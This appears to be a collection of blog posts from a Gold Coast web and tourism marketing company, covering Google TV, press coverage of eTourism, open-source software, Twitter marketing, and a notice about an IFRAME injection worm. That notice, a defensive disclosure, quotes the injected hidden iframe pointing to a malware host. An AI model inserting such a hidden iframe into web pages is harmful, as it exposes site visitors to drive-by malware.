“TV meets web. Web meets TV” is Google’s latest slogan accompanying their much anticipated plans to launch their new product, Google TV.
Google TV will be available to TV’s via a box which hooks up to your existing cable or satellite box. The hardware will work through both a keyboard and a mouse as well as through Android phones.
The latest development by Google has come from the recent realisation that despite an increase in both computer and mobile phone use, TV is the real massive medium, having more than 4 Billion user’s world wide (this is double the amount of users that currently utilise mobiles and computers). Over 70 billion dollars is spent on television in the U.S alone per year, making it a very profitable market for Google to become involved with.
The aim of Google TV is to bring the smarts of the internet to the luxury of home entertainment systems. Vincent Dureau of Google says it began with “a vision of a walled garden of TV-optimized web services” and is now so much more. With the ‘marriage of the internet and television’ TV’s are going to be revolutionised, becoming a web browser, photo slideshow viewer, gaming console, music player and so much more.
Google TV focuses on features that allow users to spend less time finding what they want to watch and more time actually watching it. They aim to personalise TV content, and allow users to enjoying the luxury of a smarter and more interesting TV.
Another exciting aspect of Google TV is its appeal to Android users. Since Google TV is built on Android (currently 2.1) and runs Google Chrome for the browser, Android apps will work on the TV. The company explains that there will be two app frameworks;
1. Web apps and
2. Android apps.
YouTube will also be releasing its new product in conjunction with Google TV, YouTube Leanback, which is an optimised way to use YouTube on a home entertainment system.
Google has partnered with three major device makers, Sony, Logitech and Intel, ensuring their product will be easily accessed by the public. They have further partnered with Dish Network, and they formed a retail partnership with Best Buy.
Google TV is set to launch in 2010, and a platform will be launched for developers in 2011.
To find out more information on Google TV, watch this video as seen on Google’s official website.
RAPT IN WEB RESULT
Queensland tourism company is helping hotels and resorts buck the economic trend and actually increase their direct online bookings.
Gold Coast based eTourism is providing innovative online reservation systems and total online marketing solutions. The company’s proven experience in online marketing has resulted in millions of dollars revenue being generated for unit owners and resort managers, according to eTourism managing director, Bryan Marsh.
He said these outstanding results have been achieved by increasing the property’s online brand awareness, generating additional revenue via online reservations and through the eTourism’s Holiday call center.
“With the click of the mouse, and the ease to conduct research in the comfort of your own home, the internet has become one of the most popular ways for both domestic and international travelers to learn about their destination and choose accommodation,” Mr. Marsh said.
“Queensland Tourism figures show 48 percent of international and domestic tourist book their holidays online. This year, it’s predicted that at least 60 percent of all hotel bookings will be made online.”
The eTourism business started in 2001 when the company was approached by major hotels to develop one of the first commercially available, complete online reservation systems, providing simple, automated online bookings. Then eTourism worked with Legends Hotel and quickly caught the attention of Sea World Resort and Palazzo Versace on the Gold Coast. Today, the company has more than 350 clients throughout Australia.
“We provide customers with innovative and functional solutions by specializing in website design, search engine marketing and online reservation systems. The website is the best sales tool a business has,” Mr. Marsh said.
From $99 per month, eTourism can provide resorts, hotels, motels, backpackers and other accommodation suppliers with iLaunch, a complete website solution. The iLaunch has been designed so that people can manage their own website with the ability to update content and photos straight from their internet browser.
“iLaunch enables businesses to invest in their future with a website to showcase their products and services,” Mr. Marsh said. “With the economic downturn, eTourism has developed an aggressive marketing program for hotel and accommodation properties that need increased bookings. We meet the clients and assure them of increased bookings, in some cases as high as 50 percent in the first year, or get the second year free.”
Couran Cove Island Resort and eTourism have enjoyed a mutually beneficial and successful relationship.
“In 2008, we took this business relationship to the next level by providing eTourism with a major project of redeveloping Couran Cove’s website on all levels- structurally, functionally and design,” said Anthony Hills, Couran Cove’s director of rooms.
“The outcomes of this project have seen our resort’s e-commerce tourism business grow in 2008 by a staggering 53 percent (room nights) and 71 percent (revenue) on 2007 results, whilst also in the face of the much publicized financial and economic crisis facing the globe and our nation.
“Tourism e-commerce is highly competitive and instantly reactive on a local and global level, so the business relationship principles of understanding and communication are highly relied upon the tourism game.”
This was an articled published by Business Acumen Queensland.
We witnessed a new IFRAME injection attack which seems to be doing the rounds over the last 24 hours.
We first noticed suspicious activity on our servers at 11:40 pm AEST time last night on the 6th April.
The attack injects iframe tags into HTML and dynamic files such as:
< iframe src=”http://superbetfair.cn/in.cgi?income44″ width=1 height=1 style=”visibility: hidden” >< /iframe >
Upon investigating some of our servers we found traffic coming from a number of hosts from all over the world, so it is fairly likely to be a worm.
The worm seems to target files named index, default, and welcome and main, so this includes files such as index.htm index.php
Additional hosts seen to be injected are:
The good news is that if you’re using Firefox, it already detects these links as malware and clearly warns the user.
We are lucky in that it was a simple rollback for some of our hosts, however others may not be so lucky.
Open Source Software – The IT Answer To The Recession Problem!
While the tech suppliers all over the world are not too happy with the negative developments in the economy open source software providers are seizing the opportunity. Most companies are tightening their purse strings when it comes to spending on new software or updates of the old ones. Many of these companies, both large and small, have an alternative solution – open source software!
Open source software is software that is free to install and use. There are no strings attached to using this software except perhaps having to credit the source. This software can be altered easily by software engineers who can customise the software at relatively low cost. Most of this software is easily available on the net available to be downloaded for free.
On the 24th March, CEO of Linux Provider Novell, Ron Hovsepian stated that the downturn of the economy will prove to be good for open source software. Ron was speaking at the Open Source Business Conference. Ron added that businesses fighting for survival against budget restrictions should consider turning to open source software solutions. Open source software providers make their profits from implementation, support services and consultation.
The outgoing executive of Sun and former CEO at MySQL, Marten Mikos noted that there are many great open source applications available and added that customers buy on low price, so in a recession, open source is a much more attractive proposition for both the applications and the cost of development. CEO of SugarCRM, John Roberts agreed with him adding that business owners are reconsidering the value proposition saying that it is difficult to create unique value software that is 100 percent proprietary.
The panellists of the conference debated the fact that open source software is growing more and more complex. They were of the opinion that open source software can succeed if there is a community of users who provide support right from the installation to the customising of the software. Many open source software providers have forums where users of the software provide support to fellow users. There are some very popular open source programs such as Firefox that can be tweaked to suit individual preferences.
As the owner of two IT companies, Gold Coast Premium Website Design company i4U and Tourism Internet Marketing company eTourism I can vouch for open source because both these companies are run on open source software. We have successfully implemented open source software that run our development and production servers as well as our mail servers. We have also implemented an open source PABX, Asterisk and use SugarCRM to manage our customer relationships. All our web browsers are open source as well as some of our general administration software including blogging software Wordpress.
I cannot agree more with the panellists of the conference that open source software is the answer to the software requirements of all businesses. I cannot have greater faith in open source software than I have gained through the practical use of open source software.
Perhaps this recession will consolidate people’s faith in open source software by forcing them to resort to freeware, something they’ve never had much faith or interest in to date. But now in these difficult economic times, when they are forced to use open source software, they may realize the true potential of freeware.
This is an article that Shannon Willoughby at The Gold Coast Bulletin wrote on etourism.com.au.
March 30th, 2009
THERE’S one area where industry is not slowing down this year — in cyberspace.
And the crew at eTourism is using that growth to the company’s advantage.
The Gold Coast website solutions company, which specialises in holiday bookings and hotel websites, is tapping into the growing world of social networking to generate business.
ETourism managing director Bryan Marsh said the company was looking at different ways to generate traffic to clients’ websites from social network sites such as Facebook, MySpace and Twitter.
“We are integrating our existing business with social media with things like hotel reviews,” said Mr Marsh. “We are able to create a following through social media quite quickly.”
The company, which has a $70 million turnover, did more than build accommodation booking sites, said Mr Marsh.
“Our revenues are achieved by increasing the property’s online brand awareness and generating additional revenue via online reservations, and through the eTourism Holidays’ call centre,” he said.
“We also build and manage websites of hotels if the operators want us to.
“The internet has become one of the most popular ways for domestic and international travellers to learn about their destination and choose accommodation.”
Queensland Tourism figures show 48 per cent of tourists book their holidays online.
This year, it is predicted that at least 60 per cent of all hotel bookings will be made online.
ETourism, which is based in Southport and employs about 20 people, started in 2001 after Mr Marsh’s other business I4U — a website development company — was approached by major hotels to develop one of the first commercially available, complete online reservation system, providing simple, automated online bookings.
UK hospitality guru Lee Tester joined the group to become the ‘middle man’ between the IT guys and the hotels.
ETourism established a relationship with Sunland and S8, which is now part of the Stella brand.
The group worked with Legends Hotel, Sea World Resort and Palazzo Versace.
Mr Marsh said that the company had more than 350 clients in Australia.
As well as using social sites to post reviews, creating more traffic for their clients’ sites, eTourism also has developed two new products aimed at servicing large and small businesses.
Mr Marsh said iLaunch was designed so that people could manage their own websites with the ability to update content and photos straight from their internet browser.
“With the global economic downturn, eTourism has developed an aggressive marketing program for hotel and accommodation properties that need increased bookings,” he said.
Shannon Willoughby – The gold Coast Bulletin
To be honest I never thought much of Twitter when I first heard of it. Perhaps this is the case with you too, as I am certain it is with many people I know. I initially heard about it while visiting America in January. This was the time that Twitter was becoming a rage and though I never realized it, Twitter was all set to take over a very important process of online business promotion. Statistics of the site proved that over 10,000 Americans were joining the site daily. People all over were tweeting on their cell phones, and the net even the US President was making good use of this new system of networking!
This is when I decided to give it a try. In fact, I was trying to figure out, like many other businessmen, how I could use Twitter to help me with my business promotion and social networking.
I decided to have a go and shocked myself with the access I managed to get to some very high profile people. I learnt, with a great deal of excitement, that Twitter was a means for many very successful individuals to grow their businesses and their social network. Now I am a part of that band wagon and enjoying the fruits of “tweeting” to the world.
To begin with, let me explain what I discovered about this addictive service that has grown into the third largest social networking community on the net. Twitter is an internet instant messaging service, just like you are used to using on your cell phones. It allows you to send out instant messages containing a maximum of 140 characters. It is believed that the site is growing at the rate of 10 thousand new members each day and the total headcount presently is over 5 million. For businessmen and social networking people like me that spells a lot of opportunity.
When you post any updates on Twitter you are posting a “tweet” and you can post as often as you like just as long as your “tweets” are not more than 140 characters long. People who read your tweets are following you and when you read other twitters tweets you are following them. The idea of social networking through Twitter is to get as many people to follow you as you possibly can. You have to achieve this by getting them interested in your tweets and there are many ways to do this.
I arrived at the conclusion that there are three very good reasons to use Twitter. Firstly you get a lot of great replies and insight to your questions, secondly, you manage to get a lot of traffic to your site or blog, and thirdly, your followers spread your thoughts to places you never knew existed. Recently Business Week interviewed 18 CEOs and published how they were taking advantage of the vast reach that Twitter has to offer. The statistics revealed are amazing.
If you want to set up a marketing campaign using Twitter I suggest you set up a time-bound sales program. It is worth investing in a few weeks of “tweeting” as often as 5 times a day utilizing “TweetLater”. Make a list of categories, Tweet at different times of each day (Never at the same time each day), and use “BUDurls” to track results and tweak your tweet plan for the next marketing program.
Just remember that 90 percent of your tweets should consist of useful information about your business, services, and products and the remaining 10 percent should ask questions, like a survey of your customers, things you would like to know and improve upon. This is sure to get you more replies to your tweets than you expect.
Here are some Twitter tools to help you get on your way tweeting to glory. TwitterFox is a plugin for your browser and allows you to view tweets in a popup without having to go to Tweeter. TweetLater allows tweeters to schedule tweets. Use Tweetosphers to join conversations or track trends or topics. Post updates to all your social network sites such as Facebook and Linkedin in one go with Ping.fm.
So give Twitter a go and let us know what you think about the service I found to be fantastic for my networking needs. You can follow me on Twitter @bryanmarsh.